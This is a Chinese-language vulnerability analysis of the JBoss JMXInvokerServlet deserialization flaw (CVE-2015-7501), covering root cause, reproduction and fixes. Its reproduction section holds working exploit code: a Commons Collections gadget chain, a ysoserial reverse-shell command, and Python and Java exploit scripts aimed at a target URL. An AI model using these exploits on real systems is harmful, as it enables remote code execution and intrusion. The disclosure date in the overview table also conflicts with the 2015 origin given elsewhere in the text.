一、漏洞简介

1.1 漏洞背景

2015年11月,FoxGlove Security 研究团队公开了一份关于 Java 反序列化漏洞的详细报告,该报告揭示了 Apache Commons Collections 库中存在的严重安全缺陷。这个漏洞影响了大量 Java 中间件产品,包括 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 等。

该漏洞的核心问题在于 Java 对象序列化机制与 Apache Commons Collections 库的结合使用。当应用程序对不可信数据进行反序列化操作时,攻击者可以通过精心构造的序列化对象触发任意代码执行。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2015-7501
危害等级 CRITICAL / 9.8
漏洞类型 JMXInvokerServlet 反序列化远程代码执行漏洞
披露时间 2017-11-09
影响组件 JBoss
属性 描述
CVE 编号 CVE-2015-7501
危害等级 严重(Critical)
CVSS 评分 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
漏洞类型 反序列化不受信任数据 (CWE-502)
影响组件 Apache Commons Collections 库
攻击复杂度
权限要求 无需认证
用户交互 无需用户交互
<hr />

补充核验信息:公开时间:2017-11-09;NVD 评分:9.8(CRITICAL);CWE:CWE-502。

二、影响范围

2.1 受影响的版本

该漏洞影响 Red Hat JBoss 中间件产品线的多个版本:

JBoss Enterprise Application Platform (EAP): - JBoss EAP 6.x (6.0.0 - 6.4.4) - JBoss EAP 5.x (5.0.0 - 5.2.0) - JBoss EAP 4.3.x

其他 JBoss 产品: - Red Hat JBoss A-MQ 6.x - Red Hat JBoss BPM Suite (BPMS) 6.x - Red Hat JBoss BRMS 6.x 和 5.x - Red Hat JBoss Data Grid (JDG) 6.x - Red Hat JBoss Data Virtualization (JDV) 6.x 和 5.x - Red Hat JBoss Fuse 6.x - Red Hat JBoss Fuse Service Works (FSW) 6.x - Red Hat JBoss Operations Network (JBoss ON) 3.x - Red Hat JBoss Portal 6.x - Red Hat JBoss SOA Platform (SOA-P) 5.x - Red Hat JBoss Web Server (JWS) 3.x - Red Hat OpenShift/xPAAS 3.x - Red Hat Subscription Asset Manager 1.3

2.2 不受影响的版本

  • JBoss EAP 7.0 及以上版本(使用更新的 commons-collections 版本)
  • 已应用相关安全补丁的版本

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 默认配置暴露/invoker/JMXInvokerServlet 端点默认启用且可通过 HTTP/HTTPS 访问
  2. 存在漏洞组件:classpath 中包含存在漏洞的 Apache Commons Collections 版本(3.2.1 及之前版本)
  3. 网络可达性:攻击者能够通过网络访问 JBoss 服务的 HTTP/HTTPS 端口(默认 8080/8443)
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

该漏洞的攻击链如下:

攻击者构造恶意序列化对象
         ↓
发送到 JMXInvokerServlet 端点
         ↓
服务端接收并反序列化对象
         ↓
触发 Commons Collections Gadget 链
         ↓
执行任意系统命令

关键端点: - /invoker/JMXInvokerServlet - JMX 远程调用服务 - /invoker/EJBInvokerServlet - EJB 远程调用服务

这些端点使用 Java 原生序列化协议传输数据,直接对传入的序列化对象进行反序列化,而不进行任何类型验证或限制。

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞根源:Apache Commons Collections 的 Transformer 链

核心问题类:org.apache.commons.collections.functors.InvokerTransformer

// InvokerTransformer.java - 存在问题的代码
public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            // 通过反射调用任意方法
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            throw new FunctorException("InvokerTransformer: " +
                "The method '" + iMethodName + "' on '" + input.getClass() +
                "' does not exist");
        }
    }
}

Gadget 链构造:

// 攻击链构造示例
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.*;
import java.lang.reflect.*;

public class CommonsCollectionsPayload {

    public static Object generatePayload(String command) throws Exception {
        // 构建命令执行的 Transformer 链
        final String[] execArgs = new String[]{command};

        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke",
                new Class[] {Object.class, Object[].class },
                new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] {String.class },
                execArgs)
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 创建 LazyMap 触发器
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

        // 使用 TiedMapEntry 或 AnnotationInvocationHandler 作为反序列化入口
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        Map outerMap = new HashMap();
        outerMap.put(entry, "bar");

        // 清除 lazyMap 以确保反序列化时触发
        innerMap.clear();

        return outerMap;
    }
}

JMXInvokerServlet 处理流程:

// JMXInvokerServlet.java (简化版)
public class JMXInvokerServlet extends HttpServlet {

    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {

        // 从请求体读取序列化数据
        ObjectInputStream ois = new ObjectInputStream(req.getInputStream());

        try {
            // 危险:直接反序列化不受信任的数据
            Object invocation = ois.readObject();

            // 处理 JMX 调用...
            processInvocation((MarshalledInvocation) invocation);

        } catch (ClassNotFoundException e) {
            throw new ServletException("Deserialization failed", e);
        }
    }
}

问题代码位置: - commons-collections-3.x.jar 中的 InvokerTransformerInstantiateFactoryInstantiateTransformer 类 - JBoss 的 jboss-remoting.jar 中的序列化处理代码

<hr />

四、漏洞复现(可选)

4.1 环境搭建

使用 Docker 搭建漏洞环境:

# 创建 Dockerfile
cat > Dockerfile << 'EOF'
FROM java:7-jdk

# 下载 JBoss 4.2.3.GA
RUN wget -q https://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA/jboss-4.2.3.GA-jdk6.zip/download -O /tmp/jboss.zip && \
    unzip /tmp/jboss.zip -d /opt && \
    rm /tmp/jboss.zip

WORKDIR /opt/jboss-4.2.3.GA

# 暴露端口
EXPOSE 8080 4446 4444 1098 1099

CMD ["./bin/run.sh", "-b", "0.0.0.0"]
EOF

# 构建并运行
docker build -t jboss-vuln .
docker run -d -p 8080:8080 --name jboss jboss-vuln

验证环境:

# 访问 JBoss 控制台
curl -I http://localhost:8080/

# 检查存在漏洞的端点
curl -I http://localhost:8080/invoker/JMXInvokerServlet
# 如果返回 200 或 500,说明端点存在

4.2 PoC 演示与测试过程

使用 ysoserial 生成 payload:

# 下载 ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# 生成反向 shell payload(需要 CommonsCollections5 链)
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.ser

使用 curl 发送 payload:

# 发送恶意序列化对象
curl -X POST \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @payload.ser \
    http://localhost:8080/invoker/JMXInvokerServlet

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2015-7501 JBoss JMXInvokerServlet Deserialization RCE
Usage: python exploit.py -t http://target:8080 -c "touch /tmp/pwned"
"""

import sys
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import subprocess
import os

# 禁用 SSL 警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class JBossExploit:
    def __init__(self, target, command):
        self.target = target.rstrip('/')
        self.command = command
        self.ysoserial_path = 'ysoserial-all.jar'

    def generate_payload(self):
        """使用 ysoserial 生成 payload"""
        try:
            cmd = [
                'java', '-jar', self.ysoserial_path,
                'CommonsCollections5', self.command
            ]
            result = subprocess.run(cmd, capture_output=True)
            if result.returncode != 0:
                print(f"[-] Payload 生成失败: {result.stderr.decode()}")
                return None
            return result.stdout
        except FileNotFoundError:
            print("[-] 未找到 ysoserial,请确保 ysoserial-all.jar 在当前目录")
            return None

    def exploit(self):
        """发送 exploit"""
        print(f"[*] 目标: {self.target}")
        print(f"[*] 命令: {self.command}")

        # 检查端点是否存在
        vuln_path = "/invoker/JMXInvokerServlet"
        check_url = self.target + vuln_path

        try:
            resp = requests.head(check_url, verify=False, timeout=10)
            if resp.status_code not in [200, 500, 401]:
                print(f"[-] 端点可能不存在,状态码: {resp.status_code}")
                return False
            print(f"[+] 端点存在,状态码: {resp.status_code}")
        except requests.RequestException as e:
            print(f"[-] 连接失败: {e}")
            return False

        # 生成 payload
        print("[*] 生成 payload...")
        payload = self.generate_payload()
        if not payload:
            return False

        # 发送 exploit
        print("[*] 发送 exploit...")
        headers = {
            'Content-Type': 'application/x-java-serialized-object'
        }

        try:
            resp = requests.post(
                check_url,
                data=payload,
                headers=headers,
                verify=False,
                timeout=15
            )
            print(f"[*] 响应状态码: {resp.status_code}")

            # 如果是 500 错误,可能是因为命令执行导致 JVM 崩溃
            if resp.status_code == 500:
                print("[+] 可能存在漏洞(500 响应)")
                return True
            elif resp.status_code == 200:
                print("[+] 端点响应正常,请验证命令是否执行")
                return True
            else:
                print(f"[-] 未知响应: {resp.status_code}")
                return False

        except requests.RequestException as e:
            print(f"[-] 请求失败: {e}")
            return False

def main():
    parser = argparse.ArgumentParser(description='CVE-2015-7501 JBoss Exploit')
    parser.add_argument('-t', '--target', required=True, help='目标 URL')
    parser.add_argument('-c', '--command', default='id', help='要执行的命令')
    args = parser.parse_args()

    exploit = JBossExploit(args.target, args.command)
    success = exploit.exploit()

    sys.exit(0 if success else 1)

if __name__ == '__main__':
    main()

Java PoC 代码:

import java.io.*;
import java.net.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.*;
import java.lang.reflect.Field;

public class CVE_2015_7501_Exploit {

    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.out.println("Usage: java CVE_2015_7501_Exploit <target_url> <command>");
            System.exit(1);
        }

        String targetUrl = args[0];
        String command = args[1];

        // 生成 payload
        byte[] payload = generatePayload(command);

        // 发送请求
        URL url = new URL(targetUrl + "/invoker/JMXInvokerServlet");
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "application/x-java-serialized-object");
        conn.setDoOutput(true);

        try (OutputStream os = conn.getOutputStream()) {
            os.write(payload);
        }

        System.out.println("Response: " + conn.getResponseCode());
    }

    public static byte[] generatePayload(String command) throws Exception {
        // ChainedTransformer 构造
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[] { String.class, Class[].class },
                new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke",
                new Class[] { Object.class, Object[].class },
                new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class },
                new Object[] { command })
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        Map outerMap = new HashMap();
        outerMap.put(entry, "bar");

        innerMap.clear();

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(outerMap);
        oos.close();

        return baos.toByteArray();
    }
}
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

Red Hat 官方补丁:

产品版本 补丁/升级方案
JBoss EAP 6.4.x 升级至 6.4.5+ 并应用 RHSA-2015:2501
JBoss EAP 6.3.x 升级至 6.3.4+ 并应用 RHSA-2015:2501
JBoss EAP 6.2.x 升级至 6.2.5+ 并应用 RHSA-2015:2501
JBoss EAP 5.x 应用 RHSA-2015:2514 补丁
JBoss EAP 4.3.x 应用 CP10 累积补丁

升级 commons-collections 库:

<!-- pom.xml - 升级到安全版本 -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version> <!-- 3.2.2 修复了此漏洞 -->
</dependency>

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:删除危险的类文件

# 从 commons-collections JAR 中删除危险的类
cd $JBOSS_HOME/server/default/lib
jar tf commons-collections.jar | grep -E "(InvokerTransformer|InstantiateFactory|InstantiateTransformer)"
# 备份原文件
cp commons-collections.jar commons-collections.jar.bak
# 使用 zip 命令删除危险类
zip -d commons-collections.jar \
    "org/apache/commons/collections/functors/InvokerTransformer.class" \
    "org/apache/commons/collections/functors/InstantiateFactory.class" \
    "org/apache/commons/collections/functors/InstantiateTransformer.class"

方案二:禁用/限制 Invoker Servlet

修改 $JBOSS_HOME/server/default/deploy/jbossweb.sar/META-INF/web.xml:

<!-- 注释或删除以下 servlet 映射 -->
<!--
<servlet>
    <servlet-name>JMXInvokerServlet</servlet-name>
    <servlet-class>org.jboss.invocation.http.servlet.InvokerServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>JMXInvokerServlet</servlet-name>
    <url-pattern>/invoker/JMXInvokerServlet/*</url-pattern>
</servlet-mapping>
-->

方案三:网络访问控制

# 使用防火墙限制访问
# 只允许内网 IP 访问 8080 端口
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

# 或者使用 Apache/Nginx 作为反向代理进行访问控制

方案四:启用认证

修改 $JBOSS_HOME/server/default/conf/props/jmx-console-users.properties:

# 添加强密码的管理员账户
admin=$tr0ngP@ssw0rd!

修改 web.xml 启用 BASIC 认证:

<security-constraint>
    <web-resource-collection>
        <web-resource-name>Invoker</web-resource-name>
        <url-pattern>/invoker/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
        <role-name>Admin</role-name>
    </auth-constraint>
</security-constraint>
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料